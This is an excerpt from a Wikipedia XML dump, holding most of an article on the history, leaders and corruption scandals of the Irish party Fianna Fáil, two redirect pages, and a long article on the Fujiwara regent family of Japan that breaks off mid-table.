Fianna Fáil was founded on [[March 23]], [[1926]], and adopted its name on [[April 2]] of the same year. It was founded by [[Éamon de Valera]], former [[President of Dáil Éireann|Príomh-Aire]] (prime minister &amp; president of Dáil Éireann (April 1919-August 1921)) and [[President of the Irish Republic|President of the Republic]] (August 1921-January 1922). De Valera resigned from the presidency in January 1922 over the [[Anglo-Irish Treaty]] which created the [[Irish Free State]]. He led anti-Treaty [[Sinn Féin]] during the [[Irish Civil War]] (1922-23) before resigning from the party in 1926, in protest at the party's hard-line policy of abstentionism, the refusal to accept the legitimacy of the Free State or [[Dáil Éireann]]. Though his new party, Fianna Fáil, was also opposed to the Treaty settlement, it adopted a different approach of aiming to [[republic]]anise the [[Irish Free State]] rather than claiming all that had happened between 1922 and 1926 was invalid and that one could simply turn the clock back to the days of the direct British rule and start the Independence process again.

Fianna Fáil initially refused to enter the [[Irish Free State]]'s [[Dáil Éireann]] in protest at the [[Oath of Allegiance (Ireland)|Oath of Allegiance]] which all members of the Dáil were obliged to take. (The Oath, which was contained in the Anglo-Irish Treaty of [[1921]], was drafted by [[Michael Collins (Irish leader)|Michael Collins]], using phraseology taken the [[Irish Republican Brotherhood]]'s Oath and suggestions from de Valera, then President of the Republic. In its final form, it promised &quot;allegiance&quot; to &quot;The Irish Free State&quot; and &quot;that I will be faithful&quot; to [[George V of the United Kingdom|King George V]] in his role as King of Ireland.) The party initially took a court case on the issue of the oath. However the assassination of the [[Cumann na nGaedhael]] (pronounced &quot;cum-on na ngale&quot;) Minister for Justice, [[Kevin O'Higgins]], led the then government to introduce a new Bill, requiring all candidates to swear that they would take the oath if elected. (If they declined to give that guarantee, they would be ineligible to be candidates in any election.) Fianna Fáil abandoned its previous refusal to take the Oath, dismissed it as an &quot;empty formula&quot;, and entered the Dáil. 

The first party leader was [[Eamon de Valera]]. Other founding members included [[Seán Lemass]] (who became its second leader), [[Sean T. O'Kelly]], [[P.J. Ruttledge]] and others. Its initial appeal was to anti-treaty supporters and working class people. 

===De Valera, 1926-1959=== 
On [[March 9]] [[1932]] Eamon de Valera was elected [[President of the Executive Council]] of the [[Irish Free State]]. It was a position he was to hold for twenty one years, sixteen of which were uninterrupted. During his first term de Valera weakened the links between the Free State and Britain. The ban on the [[Irish Republican Army|IRA]] was lifted, the Oath of Allegiance to the British Crown was abolished and the office of Governor-General was greatly demoted. De Valera also started an [[Anglo-Irish Trade War|economic war]] with Britain by withholding land [[annuity]] payments and by placing high tariffs on British imports such as coal. The British responded by placing tariffs on Irish goods such as agricultural produce. This &quot;tit for tat&quot; policy, which was disastrous for the Irish economy, would last until [[1938]] when the [[Anglo-Irish Free Trade Agreement]] was signed.

In May [[1936]] de Valera abolished the Irish Senate.  At that time he also announced his intention to draw up a new constitution. On [[1 July]] [[1937]] the Irish people adopted the new [[Bunreacht na hÉireann]]. This new constitution was [[Republicanism|republican]] in all but name. The constitution claimed that the state consisted of the entire island of Ireland and the office of Governor-General was replaced by the [[President of Ireland]]. De Valera was able to succeed with this tactic as the 1930's had seen a change in Britain's relationship with her colonies. The Statute of Westminister declared a national law to be as valid as one from Westminister, and so the Houses of Commons/Lords no longer had a role in turning National bills into Law. It was a delicate political move but one which de Valera managed to execute without major disruption.

In [[1939]] at the outbreak of [[World War II]] de Valera announced that Ireland would remain neutral.  This policy infuriated the British; however, [[Irish neutrality|Ireland's neutrality]] strongly favoured the Allies. Following the [[Irish General Election, 1948]] Fianna Fáil lost power. They returned in [[1951]] but no new ideas emerged from the Cabinet. [[Seán Lemass]] was eager to launch a new economic policy but the conservative elements in the government prevailed.  Fianna Fáil lost power again in [[1954]].

In [[1957]] de Valera returned for the final time as [[Taoiseach]]. At this stage he was 75 years old and almost blind. However, he allowed Lemass to proceed with his economic expansion plan. This culminated in the 'Programme for Economic Expansion' of [[1958]].  In [[1959]] Dev (as he was popularly called) was elected the third [[President of Ireland]]. His successor was his [[Tánaiste]], Seán Lemass.

===Lemass 1959-1966===

[[Seán Lemass]] became the new leader of the Party and [[Taoiseach]] on [[23 June]] [[1959]] (the same day de Valera became President). Lemass as Taoiseach concentrated his energy on mainly economic matters. He had the task of implementing the 'First Programme for Economic Development' which began in [[1958]]. The policy of Protectionism was abandoned and free trade was introduced. Grants and tax concessions were given to companies who set up in Ireland. As a result of the 'Programme' the Irish economy grew at a rate of 4% per annum. A second, even more ambitious, 'Programme for Economic Expansion' was started in [[1963]].

Lemass' success in managing the economy led to his victory in the [[Irish General Election, 1961]].  Lemass now felt that he had a greater mandate and began making more changes. He introduced a new wave of fresh and more modern thinkers to the Cabinet, including, [[Brian Lenihan]], [[Charles Haughey]], [[George Colley]] and [[Patrick Hillery]]. Even though this was a minority government it is considered by many the best and most productive government in the history of the state.

The sixties were a time of great change in Ireland.  In [[1961]] [[RTÉ]] began broadcasting; opening up a new world to the Irish people. The following year the [[Second Vatican Council]] led to - according to it's supporters - greater openness in the [[Catholic Church]], which was still a major force in [[Ireland]]. In [[1963]] the U.S President [[John F. Kennedy]] visited Ireland. In [[1966]] free secondary education was announced by the Minister for Education, [[Donagh O'Malley]].

During this term Lemass began a new policy of reconciliation with [[Northern Ireland]]. On [[9 January]] [[1965]] Lemass travelled to [[Stormont]] in great secrecy for talks with [[Prime Minister of Northern Ireland]] [[Terence O'Neill]]. In February O'Neill returned the compliment and visited Lemass in [[Dublin]]. Later meetings between ministers from both sides of the border became more frequent.  Unfortunately, the lavish celebrations for the 50th anniversary of the [[Easter Rising]] in [[1966]] offended many [[Unionists (Ireland)|unionists]].

In November [[1966]] Lemass announced his resignation as leader and [[Taoiseach]]. After fifty years serving Ireland and its people the founding fathers, [[Seán Lemass]], [[Seán MacEntee]] and [[James Ryan]], who had dominated Irish politics for so long, left the stage of history. After their departure a new breed of politics and politician was developing. This can be seen in the leadership race to succeed Lemass as Taoiseach.

===Lynch 1966-1979=== 

[[Jack Lynch]] was elected the third leader of Fianna Fáil and Taoiseach on [[November 10]], [[1966]].  [[Frank Aiken]], the long-serving Minister for Foreign Affairs and the only surviving member from de Valera's first Cabinet, was appointed [[Tánaiste]]. During Lynch's first term as Taoiseach he faced several crises which were unprecedented. In [[1969]] [[the Troubles]] broke out in [[Northern Ireland]]. Lynch was determined that the violence would not spread to the Republic and cause a civil war. At the height of the violence he made a famous speech on [[RTÉ]] saying that the ''[Irish] government could no longer stand by and watch innocent people be injured or perhaps worse.'' Many thought that the Republic was about to invade the North, and contingency plans were drawn up by the [[Irish Army]] to take [[Derry]] and [[Newry]]. These were never implemented, as it was believed that to invade the North would have triggered the slaughter of countless [[Catholics]] at the hands of their heavily-armed [[Unionists (Ireland)|unionist]] neighbours. Lynch was mostly successful in confining the violence to Northern Ireland. He also established centres to process Catholic refugees.

The following year ([[1970]]) Lynch discovered that two government ministers, [[Charles Haughey]] and [[Neil Blaney]], had apparently become involved in a plot to import arms for use by the [[Provisional IRA]]. Both men were sacked from the Cabinet in what became known as the ''[[Arms Crisis]]''. Later Haughey and Blaney were arrested and put on trial, however, both were acquitted. The crisis led to deep division within Fianna Fáil for some time.

On [[1 January]] [[1973]] Ireland officially became a member of the [[EEC]]. This was one of the major achievements of Lynch's terms as [[Taoiseach]] and one which was started by Lemass over ten years earlier. Following the [[Irish General Election, 1973]] Fianna Fáil found themselves in opposition. It was the first change of government for sixteen years. The [[Fine Gael]]-[[Labour Party (Ireland)|Labour]] coalition lasted for four years.

In the [[Irish General Election, 1977]] Fianna Fáil won its biggest ever election victory with a majority of twenty seats. The reasons for its huge victory were the populist economic policies it put forward, the dissatisfaction with the Coalition, the huge popularity of Lynch as leader, and the attempted [[gerrymander]] of many constituencies by Minister Tully. However after two years the government grew more and more unpopular. Poor results in the European elections and two by-elections added to the pressure on Lynch and he resigned on [[5 December]] [[1979]]. Two days later a two-horse [[Fianna Fáil leadership election, 1979|leadership race]] between [[George Colley]] and [[Charles Haughey]] developed.

===Haughey 1979-1992=== 

[[Image:Charles J. Haughey.jpg|thumb|left|Charles J. Haughey was the fourth leader of Fianna Fáil (1979-1992). He served as [[Taoiseach]] on three occasions.]]

Nine years after the 'Arms Crisis' nearly ended his career [[Charles J. Haughey]] was elected the fourth leader of Fianna Fáil and Taoiseach. Haughey's first term as [[Taoiseach]] was dominated by economic problems. Ireland's economy was in a poor state following the oil crisis and foreign debt was spiralling out of control. In the [[Irish General Election, 1981]] Fianna Fáil received its worst result in twenty years. Haughey and Fianna Fáil found themselves in opposition.

[[1982]]/[[1983]] was an extraordinary period for Irish politics. Two general elections were held and there were three attempts to overthrow Haughey as leader of Fianna Fáil. In the [[Irish General Election, 1982 (February)]] Haughey again failed to win a majority.  Several [[Teachta Dála|TD]]s led by [[Desmond O'Malley]] challenged Haughey for the leadership but backed down on the day of the vote. Haughey was elected [[Taoiseach]] with the help of Independent TDs. In October another attempt to oust Haughey was initiated by [[Charlie McCreevy]]. This time the issue was put to a vote but Haughey won easily when an open vote was held. Following the [[Irish General Election, 1982 (November)]] Fianna Fáil lost power and another leadership battle loomed in Fianna Fáil. In February 1983 another challenge to overthrow Haughey was made.  This time a secret ballot was held but the result was practically the same, 40 votes to 33 in favour of Haughey. Fianna Fáil then spent four years in opposition.

Following the [[Irish General Election, 1987]] Fianna Fáil returned to power but had failed to gain an overall majority. Haughey was narrowly elected [[Taoiseach]]. During this term as Taoiseach Haughey concentrated mostly on economic issues, trying to turn around the country's fiscal situation. By that time, Ireland was the sick man of [[Western Europe]] and barely escaped having the [[IMF]] take over the economy. In [[1989]] Haughey tried to pull off what would have been his greatest achievement. He called an early general election in the hope of gaining an overall majority. However, instead of gaining seats Fianna Fáil lost seats and was forced to form a coalition with the [[Progressive Democrats]], a political offshoot, to stay in power. Fianna Fáil had always ruled out coalition government beforehand, and many in the party were unhappy with Haughey's volte-face. This marked the beginning of the end for Haughey.

Following the [[Irish presidential election, 1990]] Haughey was forced to sack his [[Tánaiste]] and long-time friend, [[Brian Lenihan]]. In [[1991]] Haughey faced a leadership challenge from [[Albert Reynolds]].  This challenge was unsuccessful, however it showed that Haughey was losing his grip on the party. In [[1992]] [[Seán Doherty]] placed Haughey at the centre of a scandal regarding the tapping of two journalists telephones ten years earlier. Haughey had always maintained that he knew nothing about this, but Doherty publicly stated otherwise. This time Haughey's luck had run out and he resigned. [[Albert Reynolds]], who had challenged Haughey in [[1991]], emerged as the new leader of Fianna Fail and [[Taoiseach]].

===Reynolds 1992-1994=== 

On [[11 February]] [[1992]] Albert Reynolds was elected Taoiseach. After receiving his seal of office from President [[Mary Robinson]] he announced his new Cabinet. Reynolds sacked eight members of Haughey's last administration including [[Gerard Collins]] and [[Ray Burke]]. Reynolds cabinet contained many new faces and left much of the 'old guard' out in the cold. Reynolds had hoped to continue in coalition with the [[Progressive Democrats]], however, following the [[Beef Tribunal]] the PDs withdrew from government and an election was called.

When the results of the [[Irish General Election, 1992]] came in it was clear that both Fianna Fáil and Fine Gael had done badly. Labour achieved their best ever result with 33 seats. After negotiations Fianna Fáil entered into a coalition with the [[Irish Labour Party]]. [[Dick Spring]] of Labour took on the important roles of [[Tánaiste]] and Minister for Foreign Affairs.

One of the most important components of Reynolds period as Taoiseach was the [[Northern Ireland peace process]]. Reynolds had favoured allowing [[Irish republicanism|republicans]] into mainstream politics if they renounced violence. Negotiations had been going on between [[John Hume]] and [[Gerry Adams]] for some time and Reynolds now approached his British counterpart, [[John Major]]. On [[15 December]] [[1993]] the [[Downing Street Declaration]] was signed between both governments. This agreement paved the way for an [[Provisional Irish Republican Army|IRA]] ceasefire in [[1994]]. This was one of the most important achievements of Reynolds' short term.

In [[1994]] Reynolds and Spring had a disagreement over an appointment of a judge to the Irish Supreme Court.  Both men wanted to appoint someone different and both had their own reasons for doing so, with Reynolds approach to the whole affair causing concern among those who believed in appointing the best qualified candidate. Eventually this disagreement led to the end of Reynolds' period as Taoiseach and he resigned in November [[1994]]. The new leader to emerge was the then Minister for Finance [[Bertie Ahern]].

===Ahern 1994-present=== 

On [[19 November]] [[1994]] Bertie Ahern was elected the sixth and youngest leader of Fianna Fáil. Ahern was poised to become [[Taoiseach]] and continue in coalition with [[Irish Labour Party|Labour]]. However the day before the government was to return [[Dick Spring]] called off the deal and the coalition ended.  Instead Labour helped form a new government lead by [[Fine Gael]]. Ahern now found himself as leader of the opposition, a position which he hadn't anticipated. Following the [[Irish General Election, 1997]] Fianna Fáil formed a government with the [[Progressive Democrats]] in which Bertie Ahern was Taoiseach.  

The election of [[Tony Blair]] in Britain  gave renewed hope of an agreement for peace in [[Northern Ireland]], an issue that has traditionally always been an aspiration of Irish Governments. The work of Ahern and his government, as well as that of the relievent power bases in the UK/US, culminated in the [[Good Friday Agreement]]. This agreement was signed by politicians from the Republic,  supported by the opposition and politicians in Britain and Northern Ireland and ratified by the electorate on both sides of the Irish border.

During Ahern's term Fianna Fáil faced increased criticism over corruption. [[Ray Burke]] was forced to resign as Minister for Foreign Affairs due to corruption and [[Liam Lawlor]] was and is being investigated over payments he received. Both were eventually jailed. Also, details of former leader [[Charles Haughey]]'s illegal financial dealings came to light during Ahern's tenure as Taoiseach.

If the results of the [[Irish General Election, 2002]] are anything to go by these scandals did little - at that stage - to dampen the popularity of Ahern and Fianna Fáil.  Fianna Fáil were just pipped of an overall majority.  Instead of leading a minority government Fianna Fáil continued in coalition with the [[Progressive Democrats]]. It was the first time since [[1969]] that a government had been re-elected.

Since the election Ahern has stated that he has no intention of stepping down as leader. The two favourites to succeed him, [[Brian Cowen]] and [[Micheál Martin]] are reluctant to comment on their leadership ambitions. Following his period as Minster for Health, Martin has lost ground in the race for heir apparent of theparty. For the time being, the question is moot as it appears from Ahern's statements that he intends to lead Fianna Fáil into a third general election. Also, the political cycle in Ireland is such that a change of leader at this stage would hugely damage the chances of Fianna Fail.

In the [[Local government|local election]]s in 2004 the Fianna Fáil vote plummeted to its lowest level since the 1920s, mainly due to some bad financial decisions during the present government, and the percieved failure of the government to fulfil many of its election pledges.

In response to this, some shifts in policy and a cabinet reshuffle took place in September 2004. However, the ask of shaking of the tag of arrogance has not been helped by out of touch comments from senior Ministers on government waste.

Recently the party has established a [[cumann]] (branch) in [[Derry]], its first in [[Northern Ireland]].

==Fianna Fáil presidents==
Of Ireland's eight presidents, six either were in Fianna Fáil governments or nominated by Fianna Fáil. Only [[Douglas Hyde]] (1938-1945) and [[Mary Robinson]] (1990-1997) had no connection with Fianna Fáil. Hyde, though appointed to Seanad Éireann by de Valera in 1938 was originally a nominee proposed by [[Fine Gael]] (but immediately enthusiastically endorsed by Fianna Fáil) while Robinson was a [[Irish Labour Party|Labour]] nominee who defeated a Fianna Fáil candidate, [[Brian Lenihan]], who became embroiled in a scandal midway through the campaign.

==Fianna Fáil corruption==
The party, along with its coalition partners, was comfortably reelected in the 2002 general election. It has however been hit by numerous scandals. (Founding father [[Frank Aiken]] refused to run in the 1973 general election because the party had Haughey as a candidate while first leader [[Eamon de Valera]] told a senior minister in 1970 that &quot;Haughey will ruin the party.&quot;) While Fine Gael have not proved themselves immune to graft, Fianna Fáil has been the object of a greater number of allegations. Fianna Fáil has been accused by [[Fine Gael]] and Labour of being &quot;the most corrupt party ever to enter Dáil Eireann&quot;. 

Another former minister, [[Ray Burke]], whom the current leader appointed to cabinet for a short time in 1997, was recently explicitly described by retired [[High Court of the Republic of Ireland|High Court]] judge, [[Fergus Flood]] in a tribunal of inquiry as &quot;corrupt&quot;, and was jailed in January 2005 for tax offences. The privileged treatment accorded to Burke in prison was subsequently widely criticised, especially by Fine Gael. 

Former Fianna Fáil Government Press Secretary [[Frank Dunlop]] is currently giving evidence to a tribunal of inquiry in relation to his allegations that long-serving Fianna Fáil senator took bribes to arrange for planning permissions to be granted to particular property developers. Other councillors (past and present) from a number of parties, but predominantly from Fianna Fáil, are expected to be named. However the tribunal has yet to judge the credibility or otherwise of Dunlop and his evidence.

Former Fianna Fáil TD, [[Liam Lawlor]] was also accused of corrupt practices in relation to planning and development. He was jailed repeatedly for refusal to cooperate with the tribunal. He did not resign his [[Lucan, Dublin|Lucan]] seat and continued to attend the [[Dáil]], returning to [[Mountjoy Prison]] after the sessions, where he enjoyed most of the same privileges as Mr. Burke. Another TD, [[Beverly Cooper-Flynn]] of [[Mayo]], was forced to resign from the party when it was revealed that she had advised people on how to illegally evade tax while working as a financial adviser for [[National Irish Bank]]. She was readmitted when she threatened to run as an Independent candidate, but was expelled again after she lost a libel action against [[RTÉ]].

==Ógra Fianna Fáil==

Fianna Fáil have an active youth wing called [[Ógra Fianna Fáil]].  They were formed in the mid [[1970s]] and play an active role in party matters.

==Further reading==
*Bruce Arnold, ''Jack Lynch: Hero in Crisis'' (ISBN 1903582067)
*Tim Pat Coogan, ''Eamon de Valera'' (ISBN 009175030X)
*Joe Joyce and Peter Murtagh, ''The Boss: Charles J. Haughey in Government'' (ISBN 0905169697)
*FSL Lyons, ''Ireland Since the Famine''
*Dorothy McCardle, ''The Irish Republic'' 
*T. Ryle Dwyer, ''Nice Fellow: A Biography of Jack Lynch'' (ISBN 1856353680)
*T. Ryle Dwyer, ''Short Fellow: A Biography of Charles J. Haughey'' (ISBN 1860231004)
*T. Ryle Dwyer, ''Fallen Idol: Haughey's Controversial Career'' (ISBN 1856352021)
* Raymond Smith, ''Haughey and O'Malley: The Quest for Power'' (ISBN 1870138007)
*Tim Ryan, ''Albert Reynolds - The Longford Leader: The Unauthorised Biography'' (ISBN 0861215494) 
*Dick Walsh, ''The Party'' (ISBN 0717114465)

For constant reporting of the Flood Tribunal, check ''The Irish Times'', ''Irish Independent'', and ''Irish Examiner'' on the web.

==See also==
*[[List of Fianna Fáil TDs]]
*[[Fianna Fáil leadership election, 1966]]
*[[Fianna Fáil leadership election, 1979]]
*[[Fianna Fáil leadership election, 1992]]

{{Political parties in Ireland}}

==External links==
*[http://www.fiannafail.ie/ Official site]

[[Category:Republic of Ireland political parties]]
[[Category:1926 establishments]]

[[de:Fianna Fáil]]
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  </page>
  <page>
    <title>Frederick Pohl</title>
    <id>11537</id>
    <revision>
      <id>15909281</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Frederik Pohl]]
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  <page>
    <title>Fourth generation programming language</title>
    <id>11538</id>
    <revision>
      <id>15909282</id>
      <timestamp>2004-02-21T01:29:17Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
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      <minor />
      <comment>fix dr</comment>
      <text xml:space="preserve">#REDIRECT [[Fourth-generation programming language]]</text>
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  <page>
    <title>Fujiwara family</title>
    <id>11539</id>
    <revision>
      <id>40977429</id>
      <timestamp>2006-02-24T06:14:23Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
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      <minor />
      <comment>practially---&gt;practically</comment>
      <text xml:space="preserve">The '''Fujiwara family''' (藤原氏 ''Fujiwara-shi'') was a family of regents who had sort of monopoly to the ''Sekkan'' positions, [[Sessho and Kampaku|''Sesshō and Kampaku'']]. The founder [[Fujiwara no Kamatari|Nakatomi no Kamatari]] (614-669) was given the surname Fujiwara by [[Emperor Tenji]]. They dominated the Japanese politics of [[Heian period|Heian]] period. In subsequent eras, they were influential.

==Asuka/Nara period==
The Fujiwara clan's political influence was initiated during the [[Asuka period]]. Nakatomi no Kamatari, a member of the lower-nobility [[Nakatomi]] family led a coup against the Soga in 645 and initiated a series of sweeping government reforms (the [[Taika Reform]]). In 669 Emperor Tenji (reigned 661-671), bestowed the ''[[kabane]]'' Fujiwara no Ason on Kamatari. The surname passed to the descendants of [[Fujiwara no Fuhito]] (659-720), the second son and heir of Kamatari, who was prominent at the court of several emperors and empresses during the early [[Nara period]]. He made his daughter Miyako a concubine of [[Emperor Mommu]]. Her son, Prince Obito became [[Emperor Shomu|Emperor Shōmu]]. Fuhito succeeded in making another of his daughters, Kōmyōshi, the empress consort of Emperor Shōmu. She was the first empress consort of Japan who wasn't a daughter of the imperial family itself. Fuhito had four sons and each of those four founded a family. Among them, the Hokke (the northern family) seized power and was considered the leader of the entire clan.

==Heian period==
During the [[Heian period|Heian]] period of Japanese history, the Hokke managed to establish a hereditary claim to the position of [[regent]], either for an underage emperor (''sesshō'') or for an adult one (''kampaku''). Some prominent Fujiwaras occupied these positions more than once, and for more than one emperor. Lesser members of the Fujiwara were [[Royal court|court]] [[Nobility|nobles]], [[Provinces of Japan|provincial]] [[governor]]s and vice governors, members of the provincial [[aristocracy]], and [[samurai]]. The Fujiwara was one of the four great families that dominated Japanese politics during the Heian Period (794-1185), and the most important of them at that time. The others were [[Tachibana clan|the Tachibana]], [[Taira clan|the Taira]] and [[Minamoto clan|the Minamoto]]. The Fujiwara exercised tremendous power, especially during the period of regency governments in 10th and 11th centuries, having many emperors as practically [[puppet monarch]]s.

The Fujiwara dominated the government of Japan 794-1160. There is no clear starting point of their dominance. However, their domination of civil administration was lost by the establishment of the first shogunate under Minamoto no Yoritomo in 1192.

Fujiwara princes initially served as highest ministers of the imperial Court (''kampaku'') and regents (''sesshō'') for underage monarchs. The Fujiwara were the proverbial &quot;power behind the throne&quot; for centuries. Apparently they never aspired to supplant the imperial dynasty. Instead, the clan's influence stemmed from its matrimonial alliances with the imperial family. Because consorts of crown princes, younger sons, and emperors were generally Fujiwara women, the male heads of the Fujiwara house were often the father-in-law, brother-in-law, uncle, or maternal grandfather of the emperor. The family reached the peak of its power under Fujiwara no Michinaga (966-1027), a longtime ''kampaku'' who was the grandfather of three emperors, the father of six empresses or imperial consorts, and the grandfather of seven additional imperial consorts; it is no understatement to say that it was Michinaga who ruled Japan during this period, not the titular Emperors.

===Fujiwara regime in the Heian period===
The Fujiwara Regency was the main feature of government of the entire Heian era. Kyoto (Heiankyō) was geopolitically a better seat of government; with good river access to the sea, it could be reached by land routes from the eastern provinces.

Just before the move to the Heiankyō, the emperor had abolished universal conscription in [[792]], and soon local, private militaries came into being. The [[Fujiwara clan|Fujiwara]], [[Taira]], and [[Minamoto]] were among the most prominent families supported by the new military class.

In the ninth and tenth centuries, much authority was lost to the great families, who disregarded the Chinese-style land and tax systems imposed by the government in Kyoto. Stability came to Heian Japan, but, even though succession was ensured for the imperial family through heredity, power again concentrated in the hands of one noble family, the Fujiwara.

Family administrations now became public institutions. As the most powerful family, the Fujiwara governed Japan and determined the general affairs of state, such as succession to the throne. Family and state affairs were thoroughly intermixed, a pattern followed among other families, monasteries, and even the imperial family.

As the Soga had taken control of the throne in the [[sixth century]], the Fujiwara by the [[ninth century]] had intermarried with the imperial family, and one of their members was the first head of the Emperor's Private Office. Another Fujiwara became regent for his grandson, then a minor emperor, and yet another was appointed ''[[kampaku]]'' (regent for an adult emperor). Toward the end of the [[ninth century]], several emperors tried, but failed, to check the Fujiwara. For a time, however, during the reign of [[Emperor Daigo]] ([[897]]-[[930]]), the Fujiwara regency was suspended as he ruled directly.

Nevertheless, the Fujiwara were not demoted by Emperor Daigo but actually became stronger during his reign. Central control of Japan had continued to decline, and the Fujiwara, along with other great families and religious foundations, acquired ever larger [[shoen|''shōen'']] and greater wealth during the early [[tenth century]]. By the early Heian period, the ''shōen'' had obtained legal status, and the large religious establishments sought clear titles in perpetuity, waiver of taxes, and immunity from government inspection of the ''shōen'' they held. Those people who worked the land found it advantageous to transfer title to shōen holders in return for a share of the harvest. People and lands were increasingly beyond central control and taxation, a de facto return to conditions before the Taika Reform.

Within decades of Emperor Daigo's death, the Fujiwara had absolute control over the court. By the year 1000, [[Fujiwara no Michinaga | Fujiwara Michinaga]] was able to enthrone and dethrone emperors at will. Little authority was left for traditional officialdom, and government affairs were handled through the Fujiwara family's private administration. The Fujiwara had become what historian George B. Sansom has called &quot;hereditary dictators.&quot;

The Fujiwara presided over a period of cultural and artistic flowering at the imperial court and among the aristocracy. There was great interest in graceful poetry and vernacular literature. Japanese writing had long depended on Chinese ideograms (''[[kanji]]''), but these were now supplemented by ''[[kana]]'', two types of phonetic Japanese script: ''[[katakana]]'', a mnemonic device using parts of Chinese ideograms; and ''[[hiragana]]'', a cursive form of ''katakana'' writing and an art form in itself. ''Hiragana'' gave written expression to the spoken word and, with it, to the rise in Japan's famous vernacular literature, much of it written by court women who had not been trained in Chinese as had their male counterparts. Three late [[tenth century]] and early [[eleventh century]] women presented their views of life and romance at the Heian court in ''Kagero Nikki'' (&quot;The Gossamer Years&quot;) by &quot;the mother of Michitsuna,&quot; ''Makura no Sōshi'' (&quot;[[The Pillow Book]]&quot;) by [[Sei Shonagon|Sei Shōnagon]], and ''Genji Monogatari'' (&quot;[[Tale of Genji]]&quot;)--the world's first novel--by [[Murasaki Shikibu]]. Indigenous art also flourished under the Fujiwara after centuries of imitating Chinese forms. Vividly colored ''yamato-e'' (Japanese style) paintings of court life and stories about temples and shrines became common in the mid and late Heian periods, setting patterns for Japanese art to this day.

Decline in food production, growth of the population, and competition for resources among the great families all led to the gradual decline of Fujiwara power and gave rise to military disturbances in the mid-tenth and eleventh centuries. Members of the [[Fujiwara clan|Fujiwara]], [[Taira]], and [[Minamoto]] families--all of whom had descended from the imperial family--attacked one another, claimed control over vast tracts of conquered land, set up rival regimes, and generally broke the peace of Japan.

The Fujiwara controlled the throne until the reign of [[Emperor Go-Sanjo|Emperor Go-Sanjō]] ([[1068]]-[[1073|73]]), the first emperor not born of a Fujiwara mother since the ninth century. Emperor Go-Sanjō, determined to restore imperial control through strong personal rule, implemented reforms to curb Fujiwara influence. He also established an office to compile and validate [[Estate (house)|estate]] records with the aim of reasserting central control. Many ''shōen'' were not properly certified, and large landholders, like the Fujiwara, felt threatened with the loss of their lands. Emperor Go-Sanjō also established the ''Inchō'', or Office of the Cloistered Emperor, which was held by a succession of emperors who abdicated to devote themselves to behind-the-scenes governance, or ''insei'' (cloistered government).

The ''Inchō'' filled the void left by the decline of Fujiwara power. Rather than being banished, the Fujiwara were mostly retained in their old positions of civil dictator and minister of the center while being bypassed in decision making. In time, many of the Fujiwara were replaced, mostly by members of the rising Minamoto family. While the Fujiwara fell into disputes among themselves and formed northern and southern factions, the insei system allowed the paternal line of the imperial family to gain influence over the throne. The period from [[1086]] to [[1156]] was the age of supremacy of the ''Inchō'' and of the rise of the military class throughout the country. Military might rather than civil authority dominated the government.

A struggle for succession in the mid-twelfth century gave the Fujiwara an opportunity to regain their former power. [[Fujiwara Yorinaga]] sided with the retired emperor in a violent battle in [[1158]] against the heir apparent, who was supported by the Taira and Minamoto. In the end, the Fujiwara were destroyed, the old system of government supplanted, and the ''insei'' system left powerless as bushi took control of court affairs, marking a turning point in Japanese history. Within a year, the Taira and Minamoto clashed, and a twenty-year period of Taira ascendancy began. The Taira were seduced by court life and ignored problems in the provinces. Finally, [[Minamoto Yoritomo]] ([[1147]]&amp;ndash;[[1199]]) rose from his headquarters at [[Kamakura]] (in the [[Kanto]] region, southwest of modern [[Tokyo]]) to defeat the Taira, and with them the child emperor [[Emperor Antoku]] they controlled, in the [[Genpei War]] ([[1180]]&amp;ndash;[[1185]]).

After this downfall, the younger branches of the Fujiwara clan turned their focus from politics to the arts, producing any number of literary luminaries like [[Fujiwara no Shunzei]] or [[Fujiwara no Teika]]

===Descent===
Only forty years after Michinaga's death, his Fujiwara heirs were not able to prevent the ascension of [[Emperor Go-Sanjo|Emperor Go-Sanjō]] (reigned 1068-1073), the first emperor since [[Emperor Go-Uda]] whose mother was not a Fujiwara. The system of government by retired emperor (''daijō tennō'') ([[cloistered rule]]) beginning from 1087 further weakened the Fujiwara's control over the Imperial Court.

The Fujiwara-dominated Heian period approached its end along disturbances of 12th century. The dynastic struggle known as the Hōgen Disturbance (''Hōgen no Ran'') led to the Taira emerging as the most powerful clan in 1156. During the Heiji Disturbance (''Heiji no Ran'') in 1160 the Taira defeated the coalition of Fujiwara and Minamoto forces. This defeat marked the end of the Fujiwara's dominance.

==Fission==
During the [[13th century]], the Fujiwara northern house was split into the [[five regent houses]] (五摂家): [[Konoe family|Konoe]], [[Takatsukasa family|Takatsukasa]], [[Kujo family|Kujō]], [[Nijo family|Nijō]] and [[Ichijo family|Ichijō]]. They had a &quot;monopoly&quot; to the offices of ''sesshō'' and ''kampaku'', and served in turn. The political power had shifted away from the court nobility in Kyoto to the new warrior class in the countryside. However, Fujiwara princes remained close advisors, regents and ministers to the emperors for centuries, until the 20th century. As such, they had certain political power and much influence, as often the rival warriors and later bakufus sought their alliance.

Until the marriage of the Crown Prince [[Hirohito]] (posthumously Emperor Shōwa) to Princess [[Kuni Nagako]] (Kuninomiya Nagako Nyoō) in January 1924, the principal consorts of emperors and crown princes had always been recruited from one of the [[Sekke]] Fujiwara. Imperial princesses were often married to Fujiwara lords - throughout a millennium at least. As recently as Emperor Shōwa's third daughter, the late former Princess Takanomiya (Kazoku), and Prince Mikasa's elder daughter, the former Princess Yasuko, married into Takatsukasa and Konoe families, respectively.

==Regents==
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
! Regent !! Lived !! Sessho !! Kampaku
|-
| [[Fujiwara no Yoshifusa|Yoshifusa]] || [[804]]&amp;ndash;[[872]] || [[866]]&amp;ndash;[[872]] || &amp;mdash;
|-
| [[Fujiwara no Mototsune|Mototsune]] || [[836]]&amp;ndash;[[891]] || [[876]]&amp;ndash;[[884]] || ([[887]]&amp;ndash;[[890]]
|-
| [[Fujiwara no Tadahira|Tadahira]] || [[880]]&amp;ndash;[[949]] || [[930]]&amp;ndash;[[941]] || [[941]]&amp;ndash;[[949]]
|-
| [[Fujiwara no Saneyori|Saneyori]] || [[900]]&amp;ndash;[[970]] || [[969]]&amp;ndash;[[970]] || [[967]]&amp;ndash;[[969]]
|-
